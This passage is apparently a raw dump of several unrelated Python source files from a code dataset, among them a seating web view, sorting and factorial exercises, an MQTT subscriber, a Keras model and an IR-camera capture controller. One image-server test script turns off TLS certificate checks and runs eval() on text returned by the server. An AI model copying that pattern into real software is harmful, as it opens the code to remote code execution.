....services.seating.dbmodels.seat import Seat\nfrom ....services.seating import seat_service\nfrom ....services.seating.transfer.models import SeatID\nfrom ....services.ticketing.dbmodels.ticket import Ticket as DbTicket\nfrom ....services.ticketing import (\n exceptions as ticket_exceptions,\n ticket_seat_management_service,\n ticket_service,\n)\nfrom ....services.ticketing.transfer.models import TicketID\nfrom ....util.authorization import has_current_user_permission, register_permission_enum\nfrom ....util.framework.blueprint import create_blueprint\nfrom ....util.framework.flash import flash_error, flash_success\nfrom ....util.framework.templating import templated\nfrom ....util.views import login_required, redirect_to, respond_no_content\n\nfrom ...admin.seating.authorization import SeatingPermission\n\nfrom . import service\n\n\nblueprint = create_blueprint('seating', __name__)\n\n\nregister_permission_enum(SeatingPermission)\n\n\n@blueprint.route('/')\n@templated\ndef index():\n \"\"\"List areas.\"\"\"\n if g.party_id is None:\n # No party is configured for the current site.\n abort(404)\n\n areas = seating_area_service.get_areas_for_party(g.party_id)\n\n return {\n 'areas': areas,\n }\n\n\n@blueprint.route('/areas/<slug>')\n@templated\ndef view_area(slug):\n \"\"\"View area.\"\"\"\n if g.party_id is None:\n # No party is configured for the current site.\n abort(404)\n\n area = seating_area_service.find_area_for_party_by_slug(g.party_id, slug)\n if area is None:\n abort(404)\n\n seat_management_enabled = _is_seat_management_enabled()\n\n seats = seat_service.get_seats_with_tickets_for_area(area.id)\n\n users_by_id = service.get_users(seats, [])\n\n seats = service.get_seats(seats, users_by_id)\n\n return {\n 'area': area,\n 'seat_management_enabled': seat_management_enabled,\n 'seats': seats,\n 'manage_mode': False,\n }\n\n\n@blueprint.route('/areas/<slug>/manage_seats')\n@login_required\n@templated('site/seating/view_area')\ndef manage_seats_in_area(slug):\n \"\"\"Manage seats for assigned tickets in area.\"\"\"\n if not _is_seat_management_enabled():\n flash_error(\n gettext('Seat reservations cannot be changed at this time.')\n )\n return redirect_to('.view_area', slug=slug)\n\n area = seating_area_service.find_area_for_party_by_slug(g.party_id, slug)\n if area is None:\n abort(404)\n\n seat_management_enabled = _is_seat_management_enabled()\n\n seat_manager_id = None\n selected_ticket_id = None\n selected_ticket = None\n\n if _is_current_user_seating_admin():\n selected_ticket = _get_selected_ticket()\n if selected_ticket is not None:\n seat_manager_id = selected_ticket.get_seat_manager().id\n selected_ticket_id = selected_ticket.id\n elif seat_management_enabled:\n seat_manager_id = g.user.id\n\n elif seat_management_enabled:\n seat_manager_id = g.user.id\n\n seats = seat_service.get_seats_with_tickets_for_area(area.id)\n\n if seat_manager_id is not None:\n tickets = ticket_service.find_tickets_for_seat_manager(\n seat_manager_id, g.party_id\n )\n else:\n tickets = []\n\n users_by_id = service.get_users(seats, tickets)\n\n seats = service.get_seats(seats, users_by_id)\n\n if seat_management_enabled:\n managed_tickets = list(\n service.get_managed_tickets(tickets, users_by_id)\n )\n else:\n managed_tickets = []\n\n return {\n 'area': area,\n 'seats': seats,\n 'manage_mode': True,\n 'seat_management_enabled': seat_management_enabled,\n 'managed_tickets': managed_tickets,\n 'selected_ticket_id': selected_ticket_id,\n }\n\n\ndef _get_selected_ticket():\n selected_ticket = None\n\n selected_ticket_id_arg = request.args.get('ticket_id')\n if selected_ticket_id_arg:\n selected_ticket = ticket_service.find_ticket(selected_ticket_id_arg)\n if selected_ticket is None:\n flash_error(\n gettext(\n 'Ticket ID \"%(selected_ticket_id_arg)s\" not found.',\n selected_ticket_id_arg=selected_ticket_id_arg,\n )\n )\n\n if (selected_ticket is not None) and selected_ticket.revoked:\n flash_error(\n gettext(\n 'Ticket \"%(selected_ticket_code)s\" is revoked.',\n selected_ticket_code=selected_ticket.code,\n )\n )\n selected_ticket = None\n\n return selected_ticket\n\n\n@blueprint.route(\n '/ticket/<uuid:ticket_id>/seat/<uuid:seat_id>', methods=['POST']\n)\n@login_required\n@respond_no_content\ndef occupy_seat(ticket_id, seat_id):\n \"\"\"Use ticket to occupy seat.\"\"\"\n if not _is_seat_management_enabled():\n flash_error(\n gettext('Seat reservations cannot be changed at this time.')\n )\n return\n\n ticket = _get_ticket_or_404(ticket_id)\n\n manager = g.user\n\n if (\n not ticket.is_seat_managed_by(manager.id)\n and not _is_current_user_seating_admin()\n ):\n flash_error(\n gettext(\n 'You are not authorized to manage the seat for ticket %(ticket_code)s.',\n ticket_code=ticket.code,\n )\n )\n return\n\n seat = _get_seat_or_404(seat_id)\n\n if seat.is_occupied:\n flash_error(\n gettext(\n '%(seat_label)s is already occupied.', seat_label=seat.label\n )\n )\n return\n\n try:\n ticket_seat_management_service.occupy_seat(\n ticket.id, seat.id, manager.id\n )\n except ticket_exceptions.SeatChangeDeniedForBundledTicket:\n flash_error(\n gettext(\n 'Ticket %(ticket_code)s belongs to a bundle and cannot be managed separately.',\n ticket_code=ticket.code,\n )\n )\n return\n except ticket_exceptions.TicketCategoryMismatch:\n flash_error(\n gettext(\n 'Ticket %(ticket_code)s and seat \"%(seat_label)s\" belong to different categories.',\n ticket_code=ticket.code,\n seat_label=seat.label,\n )\n )\n return\n except ValueError:\n abort(404)\n\n flash_success(\n gettext(\n '%(seat_label)s has been occupied with ticket %(ticket_code)s.',\n seat_label=seat.label,\n ticket_code=ticket.code,\n )\n )\n\n\n@blueprint.route('/ticket/<uuid:ticket_id>/seat', methods=['DELETE'])\n@login_required\n@respond_no_content\ndef release_seat(ticket_id):\n \"\"\"Release the seat.\"\"\"\n if not _is_seat_management_enabled():\n flash_error(\n gettext('Seat reservations cannot be changed at this time.')\n )\n return\n\n ticket = _get_ticket_or_404(ticket_id)\n\n if not ticket.occupied_seat:\n flash_error(\n gettext(\n 'Ticket %(ticket_code)s occupies no seat.',\n ticket_code=ticket.code,\n )\n )\n return\n\n manager = g.user\n\n if (\n not ticket.is_seat_managed_by(manager.id)\n and not _is_current_user_seating_admin()\n ):\n flash_error(\n gettext(\n 'You are not authorized to manage the seat for ticket %(ticket_code)s.',\n ticket_code=ticket.code,\n )\n )\n return\n\n seat = ticket.occupied_seat\n\n try:\n ticket_seat_management_service.release_seat(ticket.id, manager.id)\n except ticket_exceptions.SeatChangeDeniedForBundledTicket:\n flash_error(\n gettext(\n 'Ticket %(ticket_code)s belongs to a bundle and cannot be managed separately.',\n ticket_code=ticket.code,\n )\n )\n return\n\n flash_success(\n gettext('%(seat_label)s has been released.', seat_label=seat.label)\n )\n\n\ndef _is_seat_management_enabled():\n if not g.user.authenticated:\n return False\n\n if g.party_id is None:\n return False\n\n if _is_current_user_seating_admin():\n return True\n\n party = party_service.get_party(g.party_id)\n return party.seat_management_enabled\n\n\ndef _is_current_user_seating_admin() -> bool:\n return has_current_user_permission(SeatingPermission.administrate)\n\n\ndef _get_ticket_or_404(ticket_id: TicketID) -> DbTicket:\n ticket = ticket_service.find_ticket(ticket_id)\n\n if (ticket is None) or ticket.revoked:\n abort(404)\n\n return ticket\n\n\ndef _get_seat_or_404(seat_id: SeatID) -> Seat:\n seat = seat_service.find_seat(seat_id)\n\n if seat is None:\n abort(404)\n\n return seat\n","sub_path":"byceps/blueprints/site/seating/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"623984244","text":"\ndef quick_sort(li, low, high):\n if low < high:\n dividing_index = divide(li, low, high)\n\n quick_sort(li, low, dividing_index - 1)\n quick_sort(li, dividing_index + 1, high)\n\n return li\n\n\ndef divide(li, low, high):\n i = low - 1\n pivot = li[high]\n\n for j in range(low, high):\n if li[j] < pivot:\n i += 1\n li[i], li[j] = li[j], li[i]\n\n li[i + 1], li[high] = li[high], li[i + 1]\n\n return i + 1\n\n\ndef main():\n li = [7, 3, 2, 1, 4, 7]\n list_length = len(li)\n print(quick_sort(li, 0, list_length - 1))\n\n\nmain()\n","sub_path":"Week-01/Day04/QuickSort.py","file_name":"QuickSort.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"303656035","text":"def factorial(x): # recursive case\n if x == 0: # when input is 0,\n return 1 # return value 1\n return (factorial(x-1) * x) # algorithm for x*(x-1)\n\ndef main(): # base case\n x1 = input(\"Please input x: \") # user input\n int1 = int(x1) # convert user input to integer\n result = factorial(int1) # call function factorial\n print(\"The factorial of\",x1,\"is\",result) # print the result\n \nif __name__ == \"__main__\":\n main()","sub_path":"cpe202/lab3/chap3prob2.py","file_name":"chap3prob2.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"106326000","text":"'''\nCreated on Jun 17, 2013\n\n@summary: Take an image file as input, feed it to the server to get response and then\n verify the response received against the given standard\n\nInherited Classes: None\nMethods:\n __init__: initialize variables to be used for checking\n check: Get the response of the server for given input file and pass it on as parameter for verification\n @param fileAddress: Absolute path of the file to be passed for getting server response\n @return: None, if the data matches correctly\n out: Prints the status (failed/totalFiles) and list of failed files\n @param : none\n @return: none\n\n@raise ServerResponseError: Occurs when the data received for a file from the server is\n either 'None' or 'Too Large File' or 'Too Small File'\n@author: Ravi\n'''\n\nimport requests\nfrom itemcheck import ItemCheck\n\nimport logging\nmodule_logger = logging.getLogger('MAIN_LOG.' + __file__.split('/')[-1])\n\nclass ServerTest():\n '''\n Send image to the local server and check the response\n '''\n def __init__(self):\n self.fileNo = 0 #Keep track of total number of files checked\n self.failed = 0 #Keep track of how many files failed and add the path to a list\n self.failedList = []\n self.obj = ItemCheck()\n\n\n def sendFile(self, fileAddress):\n '''\n Get response from server for the input file and check it against given standard\n '''\n resp = requests.post('https://192.168.1.15/image/upload',\n verify=False,\n data={'username':'testuser'},\n files={ 'uploadedfile':open(fileAddress,'rb') } )\n try:\n responseData = eval(resp.text.replace('null', 'None'))\n \n if responseData != None and responseData.has_key('matches') and len(responseData['matches']) != 0:\n self.fileNo += 1\n #Check each match received for the response\n for matchNumber in range( len(responseData['matches']) ): \n if 'images' in responseData['matches'][matchNumber].keys() and len( responseData['matches'][matchNumber]['images'] ) != 0 :\n self.obj.check(responseData['matches'][matchNumber], fileAddress)\n \n else :\n self.fileNo += 1\n self.failed += 1 \n self.failedList.append('No matches found for fileAddress:' + fileAddress + '; Data received:' + str(responseData)) \n #print 'fileNo:', fileNo\n # Output the contents of the match found\n #for item in responseData.keys():\n # print \"len(responseData['matches'] =\", len(responseData['matches'])\n # print \"%-20s----%-100s\" % (item, responseData[item])\n # for content in item.keys():\n # print \"%-20s----%-100s\" % (content, item[content])\n except Exception as err:\n# print '\\tServerResponseError: '+ str(err) + '; While processing file - ' + fileAddress\n module_logger.exception('\\tServerResponseError: '+ str(err) + '; While processing file - ' + fileAddress)\n\n\n def out(self):\n# print '\\tmatch failed:' + str(self.failed) + ' out of total files:' + str(self.fileNo)\n module_logger.info('\\tFailed:' + str(self.failed) + ' out of total files:' + str(self.fileNo)) \n failedListString = ''\n for i in self.failedList: failedListString = failedListString + i +'\\n\\t'\n module_logger.error(failedListString)\n\nif __name__ == '__main__' :\n fileAddress = '/home/geeky/streamoid/Deccan_Herald/2013_06_17/Bangalore/20130617a_003100009.jpg'\n obj = ServerTest()\n obj.check(fileAddress)\n obj.out()","sub_path":"ServerTest/Server_Test.py","file_name":"Server_Test.py","file_ext":"py","file_size_in_byte":3813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"457023992","text":"# find classes\n# find variables\n# find functions\n# find method calls\n# find sources\n# find sinks\n\nimport phplex\nfrom phpparse import make_parser\nimport simplejson\n\nwith_lineno = True\n\ndef export(items):\n result = []\n if items:\n for item in items:\n if hasattr(item, 'generic'):\n item = item.generic(with_lineno=with_lineno)\n result.append(item)\n return result\n\nparser = make_parser()\n\nfile = \"auth_controller.php\"\n# file = \"test_json.py\"\nwith open(file, \"r\") as f:\n input_file = f.read()\n\nparsed_result = export(parser.parse(input_file, lexer=phplex.lexer.clone(), tracking=with_lineno))\n\nprint(parsed_result)\n\nclass PVV:\n\ttest=\"skdjf;\"\n\nclass PVF:\n\ttest=\"lskdjf\"\n\n","sub_path":"vulneral/vuln_parser.py","file_name":"vuln_parser.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"171128243","text":"import paho.mqtt.client as PahoMQTT\nimport json, requests, random, string, time\n\n\nbroker = \"test.mosquitto.org\"\n\nclass Subscriber:\n def __init__(self, clientID, broker, topic, port=1883):\n self.messageBroker = broker\n self.port = port\n self.topic = topic\n self._paho_mqtt = PahoMQTT.Client(clientID, clean_session= True)\n self._paho_mqtt.on_connect = self.onConnect\n self._paho_mqtt.on_message = self.onMessageRecived\n\n def start(self):\n self._paho_mqtt.connect(self.messageBroker, port=self.port)\n self._paho_mqtt.loop_start()\n self._paho_mqtt.subscribe(self.topic, 2)\n print(\"Subscribed at topic %s\" %self.topic)\n\n def stop(self):\n self._paho_mqtt.unsubscribe(self.topic)\n self._paho_mqtt.loop_stop()\n self._paho_mqtt.disconnect()\n\n def onConnect(self, paho_mqtt, userdata, flags, rc):\n print(f\"Connected to {self.messageBroker} with result code: {rc}\")\n\n def onMessageRecived(self, client, userdata, message):\n print(f\"Topic: {message.topic}\\nMessage: {str(message.payload)}\")\n\n\nif __name__ == \"__main__\":\n\n clientID = \"client_\"+\"\".join(random.choices(string.ascii_letters + string.digits, k=5))\n topic = \"IotTech/Test/random/string\"\n\n sub = Subscriber(clientID, broker, topic)\n sub.start()\n try:\n while True:\n pass\n except KeyboardInterrupt:\n print(\"\\nProgram Stopped\")\n finally:\n sub.stop()\n print(\"Subscriber stopped\")\n","sub_path":"Software/Lab3/Ex1/sub2.py","file_name":"sub2.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"138964157","text":"\"\"\"Configuration for the pytest tests.\"\"\"\n\nimport pytest\n\n\ndef pytest_addoption(parser):\n \"\"\"Adds additional options to the pytest commandline.\"\"\"\n parser.addoption(\n \"--run-functional\", action=\"store_true\", default=False, help=\"Run functional tests\"\n )\n\n\ndef pytest_configure(config):\n config.addinivalue_line(\n \"markers\", \"functional: Mark a test as a functional test.\"\n )\n\n\ndef pytest_collection_modifyitems(config, items):\n \"\"\"Updates the collections based on the passed arguments to pytest.\"\"\"\n if config.getoption(\"--run-functional\"):\n return # If options is passed, don't skip the functional tests.\n functional_skip_mark = pytest.mark.skip(reason=\"Needs `--run-functional` to run functional tests.\")\n for item in items:\n if \"functional\" in item.keywords:\n item.add_marker(functional_skip_mark)\n","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"248172401","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import confusion_matrix\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom sklearn.model_selection import cross_val_score\n\n# Importing the dataset\ndataset = pd.read_csv('/home/lea/jupyter/ETH/Deep Learning A-Z/Volume 1 - Supervised Deep Learning/Part 1 - Artificial Neural Networks (ANN)/Section 4 - Building an ANN/Churn_Modelling.csv')\nX = dataset.iloc[:, 3:13].values\ny = dataset.iloc[:, 13].values\n\n\n#Prepare the data!\n#Transform texts to Numbers\nlabelencoder_country = LabelEncoder()\nX[:,1] = labelencoder_country.fit_transform(X[:,1])\nlabelencoder_gender = LabelEncoder();\nX[:,2] = labelencoder_gender = labelencoder_gender.fit_transform(X[:,2])\n\nonehotencoder = OneHotEncoder(categorical_features=[1]) #Create independent variables to avoid trap\nX = onehotencoder.fit_transform(X).toarray();\nX = X[:, 1:] #Delete one independent variable to avoid dummy drap.\n\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)\n\n\n# Feature Scaling\nsc = StandardScaler()\nX_train = sc.fit_transform(X_train)\nX_test = sc.transform(X_test)\n\n\"\"\"#create layers\nclassifier = Sequential()\nclassifier.add(Dense(activation=\"relu\", input_dim=11, units=6, kernel_initializer=\"uniform\"))\nclassifier.add(Dense(activation=\"relu\", input_dim=11, units=6, kernel_initializer=\"uniform\"))\nclassifier.add(Dense(activation=\"sigmoid\", input_dim=11, units=1, kernel_initializer=\"uniform\"))\nclassifier.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])\nclassifier.fit(X_train, y_train, batch_size=10, epochs=100)\n\ny_pred = classifier.predict(X_train) #Predicts probability for each x_test\n\ny_pred2 = (y_pred > 0.5) #Use smaller values for more sensible data...\n\"\"\"\n\n# Build classifier as above, without fitting the ann to the training set\ndef build_classifier():\n # create layers and returns them\n classifier = Sequential()\n classifier.add(Dense(activation=\"relu\", input_dim=11, units=6, kernel_initializer=\"uniform\"))\n classifier.add(Dense(activation=\"relu\", input_dim=11, units=6, kernel_initializer=\"uniform\"))\n classifier.add(Dense(activation=\"sigmoid\", input_dim=11, units=1, kernel_initializer=\"uniform\"))\n classifier.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])\n return classifier\n\n#Problem: High Variance. How to solve: Dropouts. Randomly disable neurons for special configurations (neurons don't 'learn' too much)\nfrom keras.layers import Dropout\n#Dropouts can be applied to one or several layers. Should apply to all layers to avoid over fitting agap\ndef build_classifier_dropout():\n classifier = Sequential()\n classifier.add(Dense(activation=\"relu\", input_dim=11, units=6, kernel_initializer=\"uniform\"))\n classifier.add(Dropout(p = 0.1)) #increase if too overfitted. Don't go over 0.5\n\n classifier.add(Dense(activation=\"relu\", input_dim=11, units=6, kernel_initializer=\"uniform\"))\n classifier.add(Dropout(p=0.1)) # increase if too overfitted. Don't go over 0.5\n\n classifier.add(Dense(activation=\"sigmoid\", input_dim=11, units=1, kernel_initializer=\"uniform\"))\n classifier.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])\n return classifier\n\n\n\n#Do Cross Validation to avoid \"lucky\" accuracies\nclassifier = KerasClassifier(build_fn = build_classifier, batch_size = 10, epochs=100) #For tuning: Use other epochs, batch_size. You can use grid-search for that\naccuracies = cross_val_score(estimator=classifier, X = X_train, cv = 10, n_jobs=-1, y = y_train) #cv = 10... Just do that most of the time because. Well. Because. N_Jobs is the number of CPUs to use.\nmean = accuracies.mean()\nvariance = accuracies.std()\nprint(\"Mean is: \", mean)\nprint(\"Variance is: \", variance)\n\n","sub_path":"Volume 1 - Supervised Deep Learning/Part 1 - Artificial Neural Networks (ANN)/Section 4 - Building an ANN/ann.py","file_name":"ann.py","file_ext":"py","file_size_in_byte":4114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"276091947","text":"import serial\nimport logging\n\nlogger = logging.getLogger(__name__)\nimport socket\nimport nmap\nimport pytz, tzlocal\nfrom configparser import ConfigParser\nfrom odm360.states import states\n\n\ndef cleanopts(optsin):\n \"\"\"Takes a multidict from a flask form, returns cleaned dict of options\"\"\"\n opts = {}\n d = optsin\n for key in d:\n opts[key] = optsin[key].lower().replace(\" \", \"_\")\n return opts\n\n\ndef find_serial(wildcard=\"\", logger=logger):\n \"\"\"\n Looks for serial devices in all active serial ports\n\n :param wildcard: str - wildcard used to look for serial device (default: empty)\n \"\"\"\n ps = list(serial.tools.list_ports.comports())\n ports = []\n descr = []\n for p in ps:\n port = p[0]\n description = p[1]\n if wildcard.lower() in description.lower():\n logger.info(f\"Found {description} on port {port}\")\n ports.append(port)\n descr.append(description)\n return ports, descr\n\n\ndef get_lan_ip():\n \"\"\"\n Retrieves LAN network IP address with just the socket lib\n\n :return:\n \"\"\"\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n s.connect((\"<broadcast>\", 0))\n return s.getsockname()[0]\n\n\ndef get_lan_devices(ip_subnet):\n \"\"\"\n\n :return:\n \"\"\"\n ip_parts = ip_subnet.split(\".\")\n if len(ip_parts) < 3:\n raise ValueError(\n 'You supplied an ip_subnet that does not look like \"XXX.XXX.XXX.XXX\"'\n )\n ip_subnet = \"{}.{}.{}.0/24\".format(*ip_parts[0:3])\n\n nm = nmap.PortScanner() # instantiate nmap.PortScanner object\n nm.scan(hosts=ip_subnet, arguments=\"-sP\")\n return [(x, nm[x][\"status\"][\"state\"]) for x in nm.all_hosts()]\n\n\ndef to_utc(dt):\n \"\"\"\n convert timezone to utc timezone, assuming it is in local time.\n :param dt: datetime obj\n :return: datetime obj\n \"\"\"\n\n dt_local = dt.astimezone()\n return dt_local.astimezone(pytz.utc)\n\n\ndef to_local_tz(dt):\n \"\"\"\n convert timezone aware datetime object to local timezone. If no timezone is provided it will return the same\n dt, assuming it is local timezone\n :param dt: datetime obj\n :return: datetime obj\n \"\"\"\n local_tz = tzlocal.get_localzone()\n return dt.astimezone(local_tz)\n\n\ndef get_key_state(value):\n \"\"\"\n Returns the key in dict \"states\" belonging to provided value. If the key is ambiguous, a list of keys is provided.\n If value is not found in dict, None is returnewd\n :param value: int - state value to look for key\n :return: str - name of key\n \"\"\"\n keys = [k for k, v in states.items() if v == value]\n if len(keys) == 0:\n return None\n elif len(keys) == 1:\n return keys[0]\n else:\n return keys\n","sub_path":"odm360/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"514854059","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sys\nfrom setuptools import setup, setuptools\n\n__author__ = 'Iván de Paz Centeno'\n\ndef readme():\n with open('README.rst', encoding=\"UTF-8\") as f:\n return f.read()\n\nif sys.version_info < (3, 4, 1):\n sys.exit('Python < 3.4.1 is not supported!')\n\nsetup(name='vrpwrp',\n version='0.0.7',\n description='Vision-algorithms Requests Processing Wrappers for deep-learning Computer Vision algorithms on the cloud.',\n long_description=readme(),\n url='http://github.com/ipazc/vrpwrp',\n author='Iván de Paz Centeno',\n author_email='ipazc@unileon.es',\n license='MIT',\n packages=setuptools.find_packages(),\n install_requires=[\n 'requests',\n 'pillow'\n ],\n test_suite='nose.collector',\n tests_require=['nose'],\n include_package_data=True,\n keywords=\"vrpwrp face_detection face_recognition face deep-learning computer vision face detection face recognition api rest wrapper\",\n zip_safe=False)\n","sub_path":"pypi_install_script/vrpwrp-0.0.7.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"523498819","text":"from __future__ import print_function\nfrom pyfrac.utils import pyfraclogger\nfrom pyfrac.control import keyboard\nfrom pyfrac.acquire import capture\nimport multiprocessing\nimport atexit\nimport json\nimport pika\nimport time\nimport os\nimport logging\nlogging.getLogger('pika').setLevel(logging.DEBUG)\n\nlogger = pyfraclogger.pyfraclogger(tofile=True)\nRPC_QUEUE_NAME = \"1mtcSouth_ir_queue\"\nRPC_VHOST = \"/ir\"\n\nIR_IMAGE_DIR = os.getenv('mtc_ir_dir')\nSOUTH_IR_IMG_DIR = os.path.join(IR_IMAGE_DIR, 'South', 'live')\n\nSOUTH_IRCAM_IP = os.getenv(\"south_ircam_ip\")\nSOUTH_IRCAM_FTP_UNAME = os.getenv(\"south_ircam_ftp_uname\")\nSOUTH_IRCAM_FTP_PASS = os.getenv(\"south_ircam_ftp_pass\")\n# String to insert in the filename\nSOUTH_LOC_STRING = \"south\"\n\ndef _initialize(cam_lock, capture_event, frames_captured,\n count, recent_error, interval, capture_die):\n \"\"\"\n Setup the global events that will be used\n to trigger the capture loop's different functions\n in separate processes\n Parameters:\n ----------\n cam_lock: `multiprocessing.Lock`\n For obtaining exclusive lock so that two\n commands cannot be sent to the camera\n simultaneously.\n .. note: Camera's buffer overflows when it gets hit by\n commands at more than 1Hz.\n capture_event: `multiprocessing.Event`\n This will be used to trigger the capture\n start on the cam\n frames_captured: `multiprocessing.Manager.Value`\n This will be used to exchange the number of frames captured\n within the capture loop\n count: `multiprocessing.Manager.Value`\n This will be used to exchange the number of frames\n to be captured within the capture loop\n recent_error: `multiprocessing.Manager.Value`\n This will be used to report the most recent error that\n occured during capture or some other process\n interval: `multiprocessing.Manager.Value`\n This will be used to exchange the number of seconds\n to wait between successive frame captures\n within the capture loop\n \"\"\"\n logger.info(\"INITIALIZING\")\n _capture.cam_lock = cam_lock\n _capture.capture_event = capture_event\n _capture.frames_captured = frames_captured\n _capture.count = count\n _capture.recent_error = recent_error\n _capture.interval = interval\n _capture.capture_die = capture_die\n\ndef _capture(cam, *args):\n \"\"\"\n Responsible for capturing images from the camera.\n !!Do not call this method manually!!\n .. note: Refer `_initialize()`\n Parameters:\n ----------\n cam: ICDA320 camera object\n Camera object using which capture\n operations needs to be performed\n \"\"\"\n multiprocessing.current_process().name = \"IRCaptureLoop\"\n _capture.frames_captured.value = 0\n try:\n while not _capture.capture_die.get():\n try:\n _capture.capture_event.wait()\n with _capture.cam_lock:\n start_time = time.time()\n if _capture.count.get() == -1:\n fname = str(cam.capture(img_name=str(SOUTH_LOC_STRING)+\"-\")) +\\\n \".jpg\"\n cam.fetch(filename=\"\", pattern=\"jpg\")\n _capture.frames_captured.value += 1\n\n elif _capture.count.get() > 0:\n fname = str(cam.capture(img_name=str(SOUTH_LOC_STRING)+\"-\")) +\\\n \".jpg\"\n cam.fetch(filename=\"\", pattern=\"jpg\")\n # Increment frames captured count\n _capture.frames_captured.value += 1\n _capture.count.value -= 1\n\n elif _capture.count.get() == 0:\n _capture.capture_event.clear()\n time.sleep(_capture.interval.get() - (time.time() - start_time))\n except Exception as ex:\n logger.error(\"Error in _capture process: \"+str(ex))\n _capture.recent_error.value = \"Error in _capture process: \"+str(ex)\n #_capture.capture_event.clear()\n continue\n else:\n cam.cleanup()\n except KeyboardInterrupt as ki:\n logger.info(\"Exiting from \"+str(multiprocessing.current_process().name))\n\ndef camera_commands(cam, cam_lock, capture_event, frames_captured,\n count, recent_error, interval, command_dict):\n \"\"\"\n Perform actions on the camera based on\n the command dictionary\n Parameters:\n ----------\n cam: ICDA320 camera object\n cam_lock: `multiprocessing.Lock`\n For obtaining exclusive lock so that two\n commands cannot be sent to the camera\n simultaneously.\n .. note: Camera's buffer overflows when it gets hit by\n commands at more than 1Hz.\n capture_event: `multiprocessing.Event`\n This will be used to trigger the capture\n start on the cam\n frames_captured: `multiprocessing.Manager.Value`\n This will be used to exchange the number of frames captured\n within the capture loop\n count: `multiprocessing.Manager.Value`\n This will be used to exchange the number of frames\n to be captured within the capture loop\n recent_error: `multiprocessing.Manager.Value`\n This will be used to report the most recent error that\n occured during capture or some other process\n interval: `multiprocessing.Manager.Value`\n This will be used to exchange the number of seconds\n to wait between successive frame captures\n within the capture loop\n command_dict: dictionary containing (k,v)\n pairs for following keys:\n capture: `bool`\n interval: `str`\n stop: `bool`\n status: `bool`\n focus: `int`\n zoom: `int`\n \"\"\"\n def _current_status(msg=\"\", **kwargs):\n \"\"\"\n This function will return the status\n of the capture system\n Parameters:\n ----------\n msg: str, optional\n If any custom message needs to be returned\n \"\"\"\n with cam_lock:\n kwargs.update({\n \"capture\": count.get(),\n \"interval\": interval.get(),\n \"zoom\": cam.zoom(),\n \"focus\": cam.focus(),\n \"frames_captured\": frames_captured.get(),\n \"msg\": msg,\n \"recent_error\": recent_error.get()\n })\n return kwargs\n try:\n if command_dict[\"stop\"]:\n # Stop capturing images\n logger.info(\"Stopping current capture\")\n capture_event.clear()\n\n if command_dict[\"status\"]:\n return _current_status()\n\n if command_dict[\"zoom\"] > 0:\n cam.zoom(int(command_dict[\"zoom\"]))\n\n if command_dict[\"focus\"]:\n cam.focus(command_dict[\"focus\"])\n\n # Make sure before starting capture\n # - any previous capture is not running\n # - interval value is provided\n if command_dict[\"capture\"]:\n if not capture_event.is_set():\n if command_dict[\"interval\"] > 0:\n interval.value = command_dict[\"interval\"]\n frames_captured.value = 0\n if command_dict[\"count\"] > 0:\n # Start capturing X images\n count.value = command_dict[\"count\"]\n capture_event.set()\n elif command_dict[\"count\"] <= -1:\n count.value = command_dict[\"count\"]\n capture_event.set()\n else:\n logger.warning(\"Cannot start capture without the interval field\")\n else:\n logger.warning(\"Previous capture is already in progress\")\n return _current_status(msg=\"Previous capture is already in progress\")\n return _current_status()\n except Exception as ex:\n logger.warning(\"Couldn't execute following camera commands: \"+str(ex)+\\\n \"\\n\"+str(command_dict))\n return _current_status(msg=\"Couldn't execute following camera commands: \"+str(ex)+\\\n \"\\n\"+str(command_dict))\n finally:\n # Reset the recent error after it has been sent once\n recent_error.value = \"\"\n\ndef killChildProc(process, die):\n \"\"\"\n Kills child processes before terminating\n due to some non-fatal (and non signal)\n interrupt. e.g. ctrl c or an exception\n \"\"\"\n logger.warning(\"Killing: \" + str(process))\n die.value = True\n time.sleep(2)\n process.terminate()\n process.join()\n\nif __name__ == \"__main__\":\n # Obtain the camera\n logger.info(\"Obtaining Camera ... \")\n south_cam = capture.ICDA320(tn_host=SOUTH_IRCAM_IP,\n tn_port=23,\n ftp_host=SOUTH_IRCAM_IP,\n ftp_port=21,\n ftp_username=SOUTH_IRCAM_FTP_UNAME,\n ftp_password=SOUTH_IRCAM_FTP_PASS,\n ir_image_dir=SOUTH_IR_IMG_DIR)\n\n # Manager responsible for exchanging messages with\n # other process\n mp_manager = multiprocessing.Manager()\n\n # Setup events and shared 